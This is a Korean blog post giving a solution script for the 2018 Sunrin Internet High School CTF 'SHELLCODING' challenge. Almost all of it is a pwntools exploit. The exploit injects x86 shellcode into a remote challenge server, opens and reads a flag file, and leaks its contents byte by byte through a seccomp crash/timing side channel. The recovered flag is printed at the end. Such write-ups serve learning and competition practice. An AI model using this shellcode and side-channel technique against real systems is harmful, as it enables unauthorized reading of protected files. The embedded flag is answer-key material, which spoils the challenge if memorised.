hOwDayS 선린 10720

선린인터넷고등학교 교내해킹방어대회 2018 SHELLCODING 본문

CTF

선린인터넷고등학교 교내해킹방어대회 2018 SHELLCODING

hOwDayS 2018. 6. 7. 00:28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
import string
#log = getLogger(__name__)
fini_arry = 0x8049f0c
context.terminal = ['gnome-terminal','-x','sh','-c']
 
e= ELF("./shellcoding")
 
 
flag = ''
 
 
 
while 1:
    include = False
    for i in string.printable:
        log.info("Trying : " + i)
        #p = process("./shellcoding")
        p = remote("youngju.nefus.kr",5555)
        
        #gdb.attach(proc.pidof(p)[0])
        payload = asm("xor ecx , ecx ; xor edx , edx; xor eax , eax; xor ebx , ebx")
        payload += asm("push 0")
 
         #/home/shellcoding_pwn/flag
         
        payload += asm("push 0x67616c66")
        payload += asm("push 0x2f6e7770")
        payload += asm("push 0x5f676e69")
        payload += asm("push 0x646f636c")
        payload += asm("push 0x6c656873")
        payload += asm("push 0x2f656d6f")
        payload += asm("push 0x682f2f2f")
    
        #sys_open
        payload += asm("mov ebx , esp ;  mov eax , 5; int 0x80")
 
        #sys_read
        payload += asm("mov ebx , eax; mov ecx , esp ; mov edx , 50;  mov eax , 3; int 0x80")
 
        #READ_FLAG 1BYTE
 
        # Same SIGSYS (bad system call)
        # Not Call read
 
        a = '''
        jne re
        mov eax , 4
        int 0x80
        re:
        mov ebx , 0
        mov ecx , 0x804a040
        mov edx , 0x1000
        mov eax,3
        int 0x80
        
        '''
 
        payload += asm("mov ebx, [esp + {0}*4]".format(len(flag) / 4)) # split FLAG 
        payload += asm("shr ebx , {0}".format(8*(len(flag)%4))) # READ FLAG GET FLAG[len(flag) + 1] with Shift
        payload += asm("cmp bl , {0}".format(ord(i))) # Compare ebx onbyte with i
        payload += asm(a) #Result
        payload = payload.ljust(200,"\x90"# Fill buf
        p.send(payload)
 
        # Check
 
        p.sendline("AA"#dummy
        
        try:
            p.sendline("A"#dummy
            p.recvline(timeout=0.5# Mean :  { if connect 0.5 second , Called Read } , {if not , failed Passing SECCOMP (SIGSYS)}  
            p.close()
 
        except:
            include = True
            p.close()
            flag += i
            print "FOUND : " + flag
            break
 
    if not include :
        print "\n\n FLAG : " + flag
        break
 
    ## CR{I_L1kE_Sh3llc0diNg_He_h3}
 
    
        
 
#print p.recv() # Give me your shellcode 
 
 
p.interactive()
cs


'CTF' 카테고리의 다른 글

선린인터넷고등학교 교내해킹방어대회 2018 vss  (0) 2018.06.11
선린인터넷고등학교 교내해킹방어대회 2018 cee  (0) 2018.06.11
ASISCTF FCascasde  (0) 2018.05.05
ASISCTF CAT  (0) 2018.05.05
TRUTHEALTH SoHard  (0) 2018.03.10
Comments